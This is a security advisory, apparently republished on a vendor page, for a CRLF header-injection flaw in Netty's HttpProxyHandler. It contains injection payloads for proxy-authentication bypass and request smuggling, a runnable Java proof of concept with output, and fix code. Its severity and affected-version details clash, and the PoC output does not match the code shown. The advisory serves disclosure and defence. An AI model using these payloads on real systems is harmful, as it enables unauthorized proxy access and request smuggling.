Summary
Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler,newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class, it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns:
- HTTP proxy clients that forward user-specified custom headers
- Web scraping frameworks that allow users to set proxy headers
- API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
io.netty:netty-handler-proxy to 4.1.133.Final or later; io.netty:netty-handler-proxy to 4.2.13.Final or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-42578? CVE-2026-42578 is a low-severity security vulnerability in io.netty:netty-handler-proxy (maven), affecting versions <= 4.1.132.Final. It is fixed in 4.1.133.Final, 4.2.13.Final.
- Which versions of io.netty:netty-handler-proxy are affected by CVE-2026-42578? io.netty:netty-handler-proxy (maven) versions <= 4.1.132.Final is affected.
- Is there a fix for CVE-2026-42578? Yes. CVE-2026-42578 is fixed in 4.1.133.Final, 4.2.13.Final. Upgrade to this version or later.
- Is CVE-2026-42578 exploitable, and should I be worried? Whether CVE-2026-42578 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-42578 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-42578?
- Upgrade
io.netty:netty-handler-proxyto 4.1.133.Final or later - Upgrade
io.netty:netty-handler-proxyto 4.2.13.Final or later
- Upgrade